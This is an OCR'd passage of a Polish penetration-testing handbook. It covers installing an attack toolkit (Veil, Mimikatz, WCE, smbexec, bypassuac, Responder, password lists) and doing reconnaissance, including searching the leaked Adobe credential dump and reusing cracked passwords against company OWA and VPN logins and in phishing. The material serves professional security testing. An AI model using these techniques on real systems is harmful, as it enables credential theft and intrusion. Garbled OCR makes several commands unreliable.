l. Zaloguj si� jako użytkownik

root z domyślnym hasłem toor.

2. Otwórz okno Terminal. 3. Zmień hasło: a. Zawsze zmień domyślne hasło użytkownika

root, w szczególności,

gdy są włączone usługi SSH. b. Użyj polecenia

passwd.

4. Zaktualizuj obraz przy użyciu nast�pujących poleceń:

a. b.

apt-get update. apt-get d i st-upgrade.

16

ROZDZIAŁ l. PRZED GRĄ- KONFIGURACJA

5. Skonfiguruj bazę danych w narzędziu Metasploit - konfiguracja ma na celu uruchomienie bazy danych przeznaczonej do przechowywania wyników i indeksacji modułów. Wykonaj polecenia: a. b.

service postgresql start. service metasploit start.

6. *Opcjonalna konfiguracja narzędzia Metasploit - włączenie logowania. Ten

element konfiguracji jest opcjonalny, ponieważ logi mogą zająć naprawdę sporo miejsca, ale pozwalają zapamiętać zarówno samo polecenie, jak i wynik działania każdego polecenia konsoli Metasploita. To wygodne rozwiązanie w sytuacji zbiorowych ataków lub wtedy gdy ldient wymaga przekazania logów.

_

11 spool jrootjmsf eonsole.log11 /rootj.msf4/msfconsole.rc. �

a. Wykonaj polecenie echo

>

b. Logi będą zapisywane w pliku/root/msf_console.log. 7. Zainstaluj Discover Scripts (dawniej BackTrack

b. c. d.

�� �

arzędzie służące

tX..'7

do pasywnego sprawdzania.

�� V L\/S--

Wykonaj polecenia: a.

��

cd jopt/. ' git clone https://github.com/leeb �iscover.git. cd discover/. o .jsetup.sh.

C

8. Zainstaluj smbexec - narzę

� � umożliwiające pobranie skrótów z kontrolera

�wł6lk: � pt/.

domeny i odwróconych a. Wykonaj polecen·

it clone https://github.com/ bravOhaxjsmbexec.git. Wykonaj nie cd smbexec/. Wykonaj polecenie ./install.sh.

b. Wykonaj pole c. d.



Wybierz numer l.

e. Zainstaluj narzędzie w folderze /opt. f. Wykonaj polecenie •

./install.sh.

Wybierz numer 4.

9. Zainstaluj narzędzie Veil, które posłuży do utworzenia pliku wykonywalnego

Meterpretera bazującego na języku Python. Wykonaj polecenia: a. b.

cd jopt. git clone https://github.comjveil-evasion/Veil.git.

17

PODRĘCZNIK PENTESTERA

c. d.

cd ./Veil/setup. .jsetup.sh.

l O. Pobierz narzędzie WCE umożliwiające wydobywanie haseł z pamięci.

Wykonaj polecenia: a. b. c.

cd -/Desktop. wget http://www.ampliasecurity.com/research/ wce_v1_41beta_universal.zip. unzip -d .jwce wce_v1_41beta_universal.zip.

11. Pobierz narzędzie Mimikatz, które posłuży do wydobywania haseł z pamięci.

Wykonaj polecenia: a. b. c.

cd -/Desktop. wget http://blog.gentilkiwi.com/downloads/mimikatz_t �k.zip. unzip -d ./mimikatz mimikatz trunk.zip. ��

12. Zapisz listę haseł - zostanie ona wykorzystana d

na podstawie skrótów.

cd -/Desktop. Wykonaj polecenie mkdir .jpassword _

c. Pobierz listę haseł za pomocą przegl ./password_list: https://mega.co.n

7V2bRWBH6rOqlc[14tSjss2�.

nia haseł



"\...

a. Wykonaj polecenie b.

��

·

a

�'(> cd .jpassword _list. &&

i zapisz w folderze ZiEJ4L!TitrTilwygi2I_

gzip -d ®'Xs tation-human-only.txt.gz. Wykonaj polecenie wgx..._ t\ht-.p://downloads.skullsecurity.org/ passwords/rockyo �.�� · Wykonaj polec� ip2 -d rockyou.txt.bz2.

d. Wykonaj polecenie e. f.

� urp Suite ze strony http://portswigger.net/burp/proxy.html. ��sji Professional, gdyż jest warta wydania 300 dol. Pobrany

13. Pobierz narzęrl

Polecam zaku

plik umieść w folderze �/Desktop. 14. Zainstaluj Peeping Tom, narzędzie służące do tworzenia migawki strony

internetowej. Wykonaj polecenia: a. b. c. d. e.

cd jopt/. wget http://thehackerplaybook.com/Downloadjpeepingtom.zip. unzip peepingtom.zip. cd .jpeepingtom. chmod +x *.

18

ROZDZIAŁ 1. PRZED GRĄ — KONFIGURACJA

15. Zainstaluj skrypt dla narzędzia Nmap; do inteligentniejszej identyfikacji i szybszego skanowania użyjemy banner-plus.nse. Wykonaj polecenia: a. cd /usr/share/nmap/scripts/. b. wget https://raw.github.com/hdm/scan-tools/master/nse/banner-plus.nse. 16. Zainstaluj PowerSploit — są to skrypty PowerShella ułatwiające pracę po uzyskaniu wstępnego dostępu do systemu. Wykonaj polecenia: a. cd /opt/. b. git clone https://github.com/mattifestation/PowerSploit.git. c. cd PowerSploit. d. wget https://raw.github.com/obscuresec/random/master/StartListener.py, e. wget https://raw.github.com/darkoperator/powershell_scripts/ master/ps_encoder.py. 17. Zainstaluj narzędzie Responder, które posłuży do uzyskania skrótów wyzwanie-odpowiedź dla NTLM (ang. NT LAN Manager). Wykonaj polecenia: a. cd /opt/. b. git clone https://github.com/SpiderLabs/Responder.git. 18. Zainstaluj narzędzia Social-Engineer Toolkit (SET). SET posłuży do realizacji kampanii z wykorzystaniem inżynierii społecznej. Instalację można pominąć, gdy używa się dystrybucji Kali Linux. Wykonaj polecenia: a. cd /opt/. b. git clone https://github.com/trustedsec/social-engineer-toolkit/ set/. c. cd opt. d. ./setup.py install. 19. Zainstaluj narzędzie bypassuac — zostanie wykorzystane do ominięcia UAC (ang. User Account Control) po wstępnym uzyskaniu dostępu do serwera. Wykonaj polecenia: a. cd /opt/. b. wget http://www.trustedsec.com/files/bypassuac.zip. c. unzip bypassuac.zip. d. cp bypassuac/bypassuac.rb /opt/metasploit/apps/pro/msf3/ scripts/meterpreter/. e. mv bypassuac/uac/ /opt/metasploit/apps/pro/msf3/data/exploits/.

19

PODRĘCZNIK PENTESTERA

20. Zainstaluj narzędzie BeEF — posłuży do przygotowywania ataków na witryny z wykorzystaniem skryptów JavaScript (atak XSS — ang. Cross-Site Scripting). W celu zainstalowania wspomnianego narzędzia wykonaj polecenie apt-get install beef-xss. 21. Pobierz Fuzzing Lists (SecLists) — to skrypty dla narzędzia Burp Suite, zapewniające parametry rozmyte. Wykonaj polecenia: a. cd /opt/. b. git clone https://github.com/danielmiessler/SecLists.git. 22. Zainstaluj w przeglądarce Firefox następujące dodatki: a. Web Developer — https://addons.mozilla.org/pl/firefox/addon/web-developer/. b. Tamper Data — https://addons.mozilla.org/pl/firefox/addon/tamper-data/. c. FoxyProxy — https://addons.mozilla.org/pl/firefox/addon/foxyproxy-standard/. d. User Agent Switcher — https://addons.mozilla.org/pl/firefox/addon/ user-agent-switcher/.

MASZYNA WIRTUALNA Z SYSTEMEM WINDOWS Polecam skonfigurowanie osobnej maszyny wirtualnej z systemem Windows 7. Wynika to z faktu, iż często przeprowadza się testy wymagające przeglądarki Internet Explorer lub narzędzia Cain and Abel działających tylko w jednym systemie operacyjnym. Pamiętaj, że wszystkie ataki z wykorzystaniem PowerShella wymagają uruchamiania poleceń na komputerze z systemem Windows. Warto być przygotowanym na wszystko i posiadać w zanadrzu kilka systemów operacyjnych.

Ogólna lista narzędzi dla systemu Windows  HxD (edytor szesnastkowy),  Evade (używany do oszukania systemów antywirusowych),  Hyperion (używany do oszukania systemów antywirusowych),  Metasploit,  Nexpose/Nessus,  Nmap,  oclHashcat,  Evil Foca,  Cain and Abel,  Burp Suite,  Nishang,

20

ROZDZIAŁ 1. PRZED GRĄ — KONFIGURACJA

 PowerSploit,  Firefox:  dodatek Web Developer,  dodatek Tamper Data,  dodatek FoxyProxy,  dodatek User Agent Switcher.

Konfiguracja środowiska z systemem Windows Konfiguracja ogólnej platformy testowej wykorzystującej system Windows ma za zadanie uzupełnienie maszyny wirtualnej zawierającej system Kali Linux. Pamiętaj o zmianie nazwy systemu, wyłączeniu NetBIOS-u, jeśli nie jest niezbędny, a także o zastosowaniu jak największej liczby poprawek bezpieczeństwa. Ostatnią rzeczą, której komukolwiek życzę, jest przejęcie przez kogoś innego kontroli nad systemem przeprowadzającym test. W systemie Windows najczęściej nie przeprowadzam żadnej dodatkowej konfiguracji. Zwykle instaluję następujące narzędzia, co i Tobie radzę zrobić: 1. Pobierz i zainstaluj HxD — http://mh-nexus.de/en/hxd/. 2. Pobierz i zainstaluj Evade — https://www.securepla.net/ antivirus-now-you-see-me-now-you-dont/. 3. Pobierz Hyperion — http://www.nullsecurity.net/tools/binary.html. a. Pobierz i zainstaluj kompilator MinGW (http://sourceforge.net/projects/mingw/). b. Wykonaj polecenie make w rozpakowanym folderze z narzędziem Hyperion. Po chwili powinna się pojawić wersja binarna tego narzędzia. 4. Pobierz i zainstaluj Metasploit — http://www.Metasploit.com/. 5. Pobierz i zainstaluj Nessus lub Nexpose. Jeśli kupujesz oprogramowanie na własne potrzeby, polecam narzędzie Nessus, ponieważ jest znacznie tańsze — jednak oba narzędzia działają bardzo dobrze. 6. Pobierz i zainstaluj Nmap — http://nmap.org/download.html. 7. Pobierz i zainstaluj oclHashcat — http://hashcat.net/oclhashcat/ #downloadlatest. 8. Pobierz i zainstaluj Evil Foca — http://www.informatica64.com/evilfoca/. 9. Pobierz i zainstaluj Cain and Abel — http://www.oxid.it/cain.html. 10. Pobierz i zainstaluj Burp Suite — http://portswigger.net/burp/download.html. 11. Pobierz i rozpakuj Nishang — https://code.google.com/p/nishang/downloads/list. 12. Pobierz i rozpakuj PowerSploit — https://github.com/mattifestation/ PowerSploit/archive/master.zip.

21

PODRĘCZNIK PENTESTERA

13. Zainstaluj w przeglądarce Firefox następujące dodatki: a. Web Developer — https://addons.mozilla.org/pl/firefox/addon/ web-developer/, b. Tamper Data — https://addons.mozilla.org/pl/firefox/addon/tamper-data/, c. FoxyProxy — https://addons.mozilla.org/pl/firefox/addon/ foxyproxy-standard/, d. User Agent Switcher — https://addons.mozilla.org/pl/firefox/addon/ user-agent-switcher/.

PODSUMOWANIE W tym rozdziale starałem się opisać sposób budowania standardowej platformy przeznaczonej do przeprowadzania testów penetracyjnych. Narzędzia często się zmieniają, warto więc platformę stale aktualizować i poprawiać. Mam nadzieję, że przedstawione przeze mnie informacje wystarczą Ci do tego, by rozpocząć testy. Wymieniłem wszystkie narzędzia, które zostaną opisane w książce. Jeśli wydaje Ci się, że zapomniałem omówić któreś z bardzo ważnych narzędzi, umieść stosowną informację na stronie http://www. thehackerplaybook.com. Przed przejściem do następnego rozdziału i rozpoczęciem atakowania sieci wykonaj pełną migawkę działających maszyn wirtualnych.

22

Rozdział 2.

PRZED GWIZDKIEM — SKANOWANIE SIECI Przed rozpoczęciem gry trzeba poznać i dobrze przeanalizować przeciwnika. Sprawdzenie celu ataku pod kątem słabości przeciwnika i rozpoznanie środowiska mogą szybko zaprocentować. W tym rozdziale spojrzymy na skanowanie nieco inaczej, niż robi się to w większości tradycyjnych książek na temat testów penetracyjnych. Warto ten rozdział potraktować jako dodatek do istniejących procesów skanowania, a nie jako coś, co ma je zastąpić. Niezależnie od tego, czy jesteś doświadczonym testerem penetracyjnym, czy dopiero zaczynasz swoją przygodę w tej branży, zauważysz, że skanowanie to temat poruszany niemalże na każdym kroku. Nie mam zamiaru szczegółowo porównywać różnych skanerów sieci, skanerów słabych punktów, skanerów SNMP (ang. Simple Network Management Protocol) itp. Przedstawię jedynie najbardziej efektywny proces skanowania. Rozdział podzieliłem na trzy części: skanowanie zewnętrzne, skanowanie wewnętrzne i skanowanie aplikacji webowych.

SKANOWANIE ZEWNĘTRZNE To element, od którego zaczynam wszelkie prace. Klient kontaktuje się ze mną, prosząc o to, bym przeprowadził test. Czasem przesyła listę publicznie dostępnych portów, a czasem nie wiem nic o docelowym systemie (test „czarnej skrzynki”). To moment, w którym trzeba użyć własnej kreatywności i wykorzystać doświadczenie, aby w pełni poznać swój cel. W następnych kilku podrozdziałach zastosujemy zarówno narzędzia pasywne, jak i aktywne, a także wykorzystamy techniki pozwalające zidentyfikować docelowe serwery, usługi, a nawet ludzi.

ANALIZA PASYWNA Zacznijmy od analizy pasywnej, czyli poszukiwania informacji na temat celu, sieci, klientów itp. bez kontaktu z właściwym celem. To rozpoznanie niemalże doskonałe, gdyż dzięki informacjom znalezionym w internecie można się wiele dowiedzieć o celu, nie

PODRĘCZNIK PENTESTERA

wzbudzając zainteresowania podejrzaną aktywnością. Wszystkie działania związane z tego rodzaju analizą można wykonać jeszcze przed podpisaniem kontraktu. Zdarza się, że dzięki sztuczkom w wyszukiwarce Google i witrynie Shodan (http://shodanhq.com/) udaje się znaleźć słabe punkty nawet przed rozpoczęciem właściwych testów. To już jednak temat na całkiem inną historię. Kali Linux zawiera wiele różnych narzędzi służących do pasywnej analizy sieci i zdobywania cennych informacji. Najlepiej jednak uczynić całą operację jak najprostszą. Zdarza się, że trzeba spędzić więcej czasu na pasywnym odkrywaniu celu, ale pierwszy etap analizy najczęściej jest szybki i prosty. Przyglądając się rysunkowi 2.1, można się przekonać, że folder OSINT (ang. Open Source INTelligence) w systemie Kali Linux zawiera wiele narzędzi. Sprawdzenie każdego narzędzia i zdobycie doświadczenia w posługiwaniu się nim wymagałoby mnóstwa czasu. Na szczęście ktoś umieścił wszystkie elementy podstawowej analizy w jednym narzędziu.

Rysunek 2.1. Narzędzia OSINT w systemie Kali Linux

DISCOVER SCRIPTS (DAWNIEJ BACKTRACK SCRIPTS) — SYSTEM KALI LINUX Aby rozwiązać opisany wcześniej problem, utworzono specjalny framework analityczny, umożliwiający szybką i efektywną identyfikację informacji na temat firmy lub sieci. Framework został udostępniony w postaci narzędzia Discover Scripts (dawniej BackTrack Scripts; https://github.com/leebaird/discover), które stworzył Lee Baird. Narzędzie automatyzuje poszukiwanie wielu różnych informacji, co pozwala obsłużyć całe zadanie z jednego miejsca. Na przykład może wyszukać osoby zatrudnione w organizacji lub firmie na 24

ROZDZIAŁ 2. PRZED GWIZDKIEM — SKANOWANIE SIECI

podstawie witryn społecznościowych (np. LinkedIn), zastosować różne popularne narzędzia domenowe (np. goofile, goog-mail, theHarvester, search_email_collector lub mydnstools), a nawet połączyć się z innymi narzędziami w celu przeprowadzenia dodatkowej analizy. Zaczynajmy.

REALIZACJA ANALIZY PASYWNEJ 1. Wykonaj polecenie cd /opt/discover. 2. Wykonaj polecenie ./discover.sh. 3. Wpisz 1, by wybrać Domain (patrz rysunek 2.2).

Rysunek 2.2. Narzędzie Discover Recon

4. Wpisz 1, by wybrać Passive. 5. Wpisz nazwę domeny, którą chcesz przeanalizować. W przedstawionym przykładzie została użyta domena reddit.com. 6. Po zakończeniu analizy wpisz firefox /root/data/[domena]/index.html. Wykonałem przedstawioną analizę pasywną dla jednej z moich ulubionych witryn internetowych. Pamiętaj, że jest to całkowicie pasywne żądanie, więc nie znajduje żadnych słabych punktów witryny Reddit. Po prostu pobiera wszystkie znane publicznie informacje na temat tej witryny. 25

PODRĘCZNIK PENTESTERA

Wybrałem główną domenę reddit.com. Przedstawione dalej przykłady bazują na uzyskanych danych. Po zakończeniu skanowania w folderze użytkownika root pojawi się plik index.html z wynikami. To jedno z najszybszych narzędzi oferujących tak gruntowną analizę — doskonale się ono sprawdza. Narzędzie to znajduje informacje na temat domeny, adresów IP, plików czy e-maili, informacje WHOIS, jak również dane z Google’a i wiele więcej informacji. Wyniki dla domeny reddit.com są wyświetlane na stronie WWW w bardzo przystępnym układzie. Na górze znajduje się pasek kategorii bazujący na pobranych danych. Przyjrzyjmy się najpierw subdomenom. Przydadzą się do przeprowadzenia ataków typu doppelganger w rozdziale dotyczącym inżynierii społecznej (rozdział 6.). Okazuje się, że udało się odnaleźć dużą liczbę subdomen i adresów IP, które mogą okazać się przydatne w późniejszych testach (rysunek 2.3).

Rysunek 2.3. Subdomeny Reddit

Menu rozwijane zawiera również informację o plikach znalezionych na serwerach celu (narzędzie wykorzystuje wyszukiwanie Google na podstawie rozszerzeń plików). Rysunek 2.4 przedstawia wszystkie pliki PDF znalezione w publicznych zasobach. Niezliczoną ilość razy udawało mi się odnaleźć dzięki tej technice poufne lub istotne informacje na temat konkretnej firmy. Najczęściej serwer jest źle skonfigurowany, co pozwala wyszukiwarkom indeksować pliki, które tak naprawdę nie powinny być publicznie dostępne. Na rysunku 2.4 przedstawiony został także inny wynik — kontakty e-mail, które udało się odnaleźć w publicznych źródłach. Najczęściej wykorzystuję zdobyte adresy po to, aby znaleźć kolejne, lub też używam ich w kampaniach e-mail, w których podszywam się 26

ROZDZIAŁ 2. PRZED GWIZDKIEM — SKANOWANIE SIECI

Rysunek 2.4. Pliki PDF i adresy e-mail znalezione w sposób pasywny

pod firmę. Narzędzie działało tylko kilkanaście sekund, a udało się dzięki niemu znaleźć wiele interesujących informacji na temat firmy. Można także przyjrzeć się raportowi podsumowującemu, który zawiera krótką informację o wszystkich znalezionych danych. Innym bardzo ważnym elementem jest lista domen z błędami w pisowni, a także informacja o właścicielach tych domen. Tego typu informacja wywiadowcza okaże się niezwykle cenna w dalszej części książki. Jak ilustruje rysunek 2.5, nie wszystkie domeny z błędem w pisowni należą do firmy Reddit. To cenna informacja dla firmy zlecającej test penetracyjny, ponieważ może oznaczać, że ktoś planuje operację z wykorzystaniem podobnie brzmiących nazw domen. Można również wcielić się w osobę atakującą witrynę i zakupić wymienione domeny w celu łatwiejszego przeprowadzenia ataku. Wymienione informacje najczęściej wystarczają do tego, żeby rozpocząć planowanie innych testów. Jeśli jednak potrzebne są pogłębione informacje, warto skorzystać z Recon-ng. Narzędzie to można znaleźć pod adresem https://bitbucket.org/LaNMaSteR53/recon-ng. Korzysta ono z różnych mechanizmów wyszukiwania i zautomatyzowanych narzędzi po to, aby można było zdobyć dodatkowe informacje na temat celu ataku. Dokładniejsze zapoznanie się z narzędziem umożliwia prezentacja z konferencji DerbyCon z 2013 roku, dostępna pod adresem http://bit.ly/1kZbNcj.

UŻYCIE ADRESÓW E-MAIL I DANYCH UWIERZYTELNIAJĄCYCH, KTÓRE WYCIEKŁY DO INTERNETU Jako tester wykonujący testy penetracyjne musisz być kreatywny i starać się korzystać ze wszystkich dostępnych źródeł, z których z pewnością skorzystałby atakujący. Jedną z taktyk, która w ostatnich miesiącach okazała się szczególnie pomocna, jest wykorzystanie

27

PODRĘCZNIK PENTESTERA

Rysunek 2.5. Analiza domeny

danych uwierzytelniających udostępnionych w internecie jako efekt wycieku danych. Wyjaśnię to na przykładzie. Kilka miesięcy temu nastąpiło poważne włamanie do systemów firmy Adobe. Włamywaczowi udało się uzyskać dostęp do adresów e-mail, zaszyfrowanych haseł i podpowiedzi do haseł1. Dane pobrane z bazy danych miały ponad 10 GB i początkowo krążyły w niewielkich, prywatnych kręgach. Obecnie są dostępne w internecie w zasadzie dla każdego (wystarczy wyszukać fraz Adobe i users.tar.gz). Z punktu widzenia osoby atakującej to prawdziwa kopalnia złota. Najczęściej sprawdzam plik pod kątem adresów pochodzących z domeny, którą będę testował. Oczywiście należy upewnić się, że ten rodzaj testu znajduje się w zakresie zleconych prac i że pobierając kopie haseł lub adresów e-mail należących do innych użytkowników, nie łamie się prawa. Jeśli jednak zadanie dotyczy testu typu „czarna skrzynka”, uzyskanie każdej informacji o celu będzie cenne. Na rysunku 2.6 przedstawiono przeszukiwanie (przy użyciu polecenia grep systemu Linux) listy haseł Adobe pod kątem występowania adresów z domeny yahoo.com (oczywiście należy poszukać domeny, którą będzie się testować). Jak łatwo zauważyć, na liście pojawia się wielu użytkowników (adresy zmieniłem w celu zapewnienia anonimowości) korzystających z domeny yahoo.com. Dla każdego z nich dostępne jest zaszyfrowane hasło oraz podpowiedź. 1

http://krebsonsecurity.com/2013/10/adobe-breach-impacted-at-least-38-million-users/ 28

ROZDZIAŁ 2. PRZED GWIZDKIEM — SKANOWANIE SIECI

Rysunek 2.6. Lista nazw kont i haseł z włamania do firmy Adobe w 2013 roku

Na podstawie podpowiedzi można przeprowadzić krótkie poszukiwania i dowiedzieć się, kto jest sympatią użytkownika lub jakie jest imię kota użytkownika, najczęściej jednak stosuję szybsze i prostsze sposoby. Udało mi się odnaleźć dwie grupy badaczy — na podstawie wzorców i podpowiedzi badacze ci odgadli niektóre z zaszyfrowanych haseł. Pamiętaj, że lista z Adobe zawiera zaszyfrowane hasła, a nie ich skróty, tak więc odgadnięcie haseł bez posiadania klucza jest trudne. Oto adresy URL list, do których udało mi się dotrzeć:  http://stricture-group.com/files/adobe-top100.txt,  http://web.mit.edu/zyan/Public/adobe_sanitized_passwords_with_bad_hints.txt. Połączyłem obie listy, wyczyściłem i udostępniłem pod adresem https://www.securepla. net/download/foundpw.csv. Po przygotowaniu listy napisałem w języku Python prosty skrypt, który miał za zadanie sprawdzenie elementów listy z adresami e-mail oraz zaszyfrowanymi hasłami i porównanie poszczególnych wartości z tymi, znajdującymi się w pliku foundpw.csv. Skrypt można pobrać pod adresem https://securepla.net/download/password_check.txt. Przekazanie do skryptu pliku tekstowego w formacie adresu e-mail i zaszyfrowanego hasła spowoduje wyświetlenie listy adresów e-mail oraz rozszyfrowanych haseł (jeśli udało się dopasować zaszyfrowane wersje). Oczywiście obie grupy badawcze nie rozszyfrowały

29

PODRĘCZNIK PENTESTERA

dużej grupy haseł, ale zawsze warto spróbować, gdyż nie kosztuje to wiele wysiłku. Rysunek 2.7 przedstawia skrypt w działaniu.

Rysunek 2.7. Skrypt w języku Python szukający zaszyfrowanych haseł pasujących do adresów e-mail

Najczęściej wykorzystuję uzyskane w ten sposób dane przy próbach logowania się do firmowego systemu OWA (ang. Outlook Web Access) lub do firmowej sieci VPN (ang. Virtual Private Network). Czasem warto sprawdzić, czy zadziała nieco zmienione hasło (np. jeśli zawierało tekst 2012, warto sprawdzić wersję z aktualnym rokiem). Nie sprawdzaj haseł zbyt intensywnie, żeby nie zablokować konta. Zdobyte adresy e-mail wykorzystuję następnie w kampaniach phishingowych. Pamiętaj, że przedstawiona lista dotyczy klientów firmy Adobe, więc istnieje duże prawdopodobieństwo, że będą to użytkownicy z grupy IT. Zdobycie dostępu do jednego z tych kont jest niezwykle cenne. Dzięki przedstawionym rozwiązaniom testy penetracyjne są naprawdę dobrą zabawą. Nie można polegać wyłącznie na narzędziach — trzeba wykazać się kreatywnością, by zagwarantować klientowi sprawdzenie systemu pod kątem każdego prawdziwego ataku. Po wykonaniu zadań z tego podrozdziału powinieneś dysponować listą adresów IP, adresami FQDN, adresami e-mail, użytkownikami i być może hasłami. Pozwoli to przejść dosyć płynnie do następnego etapu, którym jest analiza aktywna. 30

ROZDZIAŁ 2. PRZED GWIZDKIEM — SKANOWANIE SIECI

ANALIZA AKTYWNA — WEWNĘTRZNA I ZEWNĘTRZNA Analiza aktywna to proces, w którym staramy się zidentyfikować systemy, usługi i potencjalne słabe punkty. Sprawdzamy uzyskany wcześniej zakres adresów sieci i skanujemy go. Niezależnie od tego, czy skanujemy wewnętrzne, czy zewnętrzne segmenty sieci, do analizy aktywnej potrzeba odpowiednich narzędzi. Chcę podkreślić, że w książce nie będę szczegółowo opisywał sposobu korzystania ze skanera, ponieważ jest to coś, co powinna znać każda osoba zajmująca się testami penetracyjnymi. W przeciwnym razie polecam pobranie bezpłatnej wersji narzędzia Nexpose lub testowej wersji Nessusa. Spróbuj uruchomić narzędzia w sieci domowej lub nawet w sieci laboratoryjnej, aby poznać zakres uzyskiwanych informacji, skanery autoryzacji i rodzaj ruchu generowanego przez sieć. Skanery tego typu często powodują wywołanie alarmu u dostawcy sieci lub zarządcy serwerowni, ponieważ są dosyć „głośne”. Po wstępnym przygotowaniu możemy zagłębić się w szczegóły.

PROCES SKANOWANIA SIECI W tym punkcie opiszę proces, który wykorzystuję do skanowania sieci. Używam wielu narzędzi i technik, by zapewnić efektywne i wydajne skanowanie. Oto lista etapów w procesie skanowania:  skanowanie za pomocą narzędzia Nexpose lub Nessus,  skanowanie za pomocą narzędzia Nmap,  skanowanie za pomocą własnej wersji narzędzia Nmap,  wykonanie zrzutów ekranu za pomocą narzędzia Peeping Tom.

Skanowanie potencjalnych słabych punktów za pomocą narzędzia Nexpose lub Nessus Choć narzędzia tego typu są bardzo „głośne”, to ich zastosowanie nadal jest najbardziej efektywną i szybką metodą rozpoczęcia procedury testowej. Zaczynam od uruchomienia jednego ze skanerów (czasem nawet obu) po wcześniejszym upewnieniu się, że poprawnie je skonfigurowałem. Jeśli czas ma znaczenie, wykonuję najpierw profilowanie, by poszukać jedynie znanych słabych punktów. Dopiero drugi skan wykonuję z profilem domyślnym. W ten sposób pierwszy skan wykonywany jest zaledwie w ułamku czasu potrzebnego na pełne skanowanie, ale za to zawiera tylko najbardziej oczywiste elementy. Pozwolę sobie w tym miejscu na krótką dygresję na temat skanerów szukających słabych punktów. W rozdziale 1. informowałem o zakupie skanerów Nexpose lub Nessus. Mamy niekończące się debaty na temat tego, który ze skanerów jest lepszy. Oto moja podpowiedź: korzystałem z większości komercyjnych skanerów i nigdy nie było tak, aby któryś z nich okazał się narzędziem idealnym lub odpowiednim w każdej sytuacji. Gdy 31

PODRĘCZNIK PENTESTERA

porównujemy oba narzędzia, okazuje się, że bywają sytuacje, gdy jedno z nich znajduje coś, co pominęło drugie narzędzie. Najlepiej byłoby więc korzystać z wielu narzędzi, choć nie zawsze jest to rozwiązanie najlepsze finansowo. Gdy jednak planujesz zakup tylko jednej licencji, polecam skorzystanie z narzędzia Nessus Vulnerability Scanner firmy Tenable. Gdy weźmiemy pod uwagę liczbę adresów IP oraz cenę (1500 dol.), okazuje się, że jest to jedno z najrozsądniejszych rozwiązań. W przypadku skanera Nexpose licencja dla samodzielnego konsultanta kosztuje dwukrotnie więcej, a liczba adresów IP w trakcie skanowania jest ograniczona. Warto jednak zawsze sprawdzić oba cenniki, ponieważ od momentu pisania tego tekstu mogły one ulec zmianie. Oto krótki przykład potwierdzający moją sugestię, że warto korzystać z kilku narzędzi. Wynik skanowania przedstawiony na rysunku 2.8 dotyczy mojej własnej witryny, a samo skanowanie zostało zrealizowane w profesjonalnej wersji narzędzia Nexpose. Uruchomiony profil dotyczył tylko standardowych luk bez przeprowadzania intensywnych sprawdzeń związanych z aplikacjami webowymi. Wynik zawiera 4 istotne luki, które można sprawdzić, przyglądając się zrzutowi ekranu na wspomnianym rysunku.

Rysunek 2.8. Wynik wykonania testu za pomocą narzędzia Nexpose firmy Rapid7

Wykonałem test tej samej witryny profesjonalnym skanerem Nessus firmy Tenable i okazało się, że wyniki uzyskane dla podobnego profilu zdecydowanie się różnią. Pamiętaj, że skanowanie dotyczyło mojej witryny internetowej, która nie stanowi dużego systemu. 32

ROZDZIAŁ 2. PRZED GWIZDKIEM — SKANOWANIE SIECI

W przypadku większych i dłuższych skanów wyniki nie odbiegają od siebie tak bardzo. Jak można się przekonać, analizując zrzut z rysunku 2.9, Nessus znalazł 3 problemy typu średniego (Medium) i 5 problemów typu niskiego (Low).

Rysunek 2.9. Wynik wykonania testu narzędziem Nessus firmy Tenable

Analizując oba przykłady, bez trudu można zauważyć spore różnice. Jedyną znalezioną luką, którą prawdopodobnie starałbym się wykorzystać, jest wyciek ścieżki WordPressa, odkryty przez skaner Nexpose (Nessus nie znalazł tego słabego punktu). Choć skanery są bardzo użyteczne i stanowią stały element w trakcie przeprowadzania testów penetracyjnych sieci, trzeba zdawać sobie sprawę zarówno z ich zalet, jak i ograniczeń.

Nmap — przechwytywanie banerów Przed przejściem do techniki zwanej przechwytywaniem banerów (ang. banner grabbing) najczęściej uruchamiam za pomocą narzędzia Nmap własny skan obejmujący typowe porty (lub wszystkie 65 535 portów, jeśli czas pozwala). Poza standardowym narzędziem Nmap uruchamiam skrypt przechwytywania banerów, który opiszę poniżej. 33

PODRĘCZNIK PENTESTERA

Niedogodnością stosowania pełnego skanowania pod kątem luk jest długi czas realizacji takiego zadania. Po wykonaniu prostego skanowania dotyczącego słabych punktów uruchamiam prosty skrypt Nmap, by sprawdzić porty i zdobyć podstawowe informacje pomagające lepiej przygotować się do przyszłego ataku. Zakładam, że znasz Nmap i wiesz, jakie są jego zadania. Dla mnie Nmap to szybki i efektywny moduł, który właściwie realizuje powierzone mu zadanie. Polecam książkę Nmap Network Scanning autorstwa Gordona Fyodora Lyona (http://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717). Głównym celem jest szybkie znalezienie wszystkich serwerów i działających na nich usług. Najważniejszym zadaniem jest dla mnie uruchomienie narzędzia Nmap dla wszystkich 65 535 portów, by dowiedzieć się, które z nich są otwarte, i pobrać informacje dotyczące odpowiedzi na połączenie. Ten sam proces wykorzystuję do sprawdzenia zmian wprowadzonych w sieci, ponieważ bardzo łatwo można wówczas porównać różnice między starszym skanem a nowym. Niektórzy klienci proszą mnie o wykonywanie testów co miesiąc, a w takiej sytuacji jest to bardzo szybki i łatwy sposób zapoznania się z wprowadzonymi zmianami (choć niezbędne okazuje się napisanie prostego skryptu). W rozdziale 1. zainstalowaliśmy banner-plus.nse od HD Moore’a. To ten sam skrypt, którego autor użył do wykonania odwzorowania całego internetu2. Zapewnia bardzo szybką identyfikację baneru dla otwartego portu. Polecenie uruchamiające skan wygląda następująco: nmap --script /usr/share/nmap/scripts/banner-plus.nse --min-rate=400 --min-parallelism=512 -p1-65535 -n -Pn -PS -oA /opt/peepingtom/ report

Opis opcji: --script — lokalizacja skryptu banner-plus.nse pobranego w poprzednim rozdziale, --min-rate — gwarancja wykonania skanu w określonym czasie, --min-parallelism — zwiększenie łącznej liczby jednoczesnych próbek, -p1-65535 — sprawdzenie wszystkich 65 tysięcy portów, -n — wyłączenie rozwiązywania adresów DNS (przyspiesza skanowanie), -Pn — wyłączenie obsługi ping (wiele serwerów ma wyłączoną obsługę ping dla zewnętrznej sieci), -PS — stosowanie TCP SYNPing, -oA — eksport wszystkich rodzajów raportów.

Warto pobawić się opcjami --min-rate i --min-parallelism, by znaleźć równowagę między najlepszą wydajnością i właściwym działaniem sieci (więcej informacji na ten temat 2

https://community.rapid7.com/community/infosec/sonar/blog/2013/10/30/project-sonar-one-month-later 34

ROZDZIAŁ 2. PRZED GWIZDKIEM — SKANOWANIE SIECI

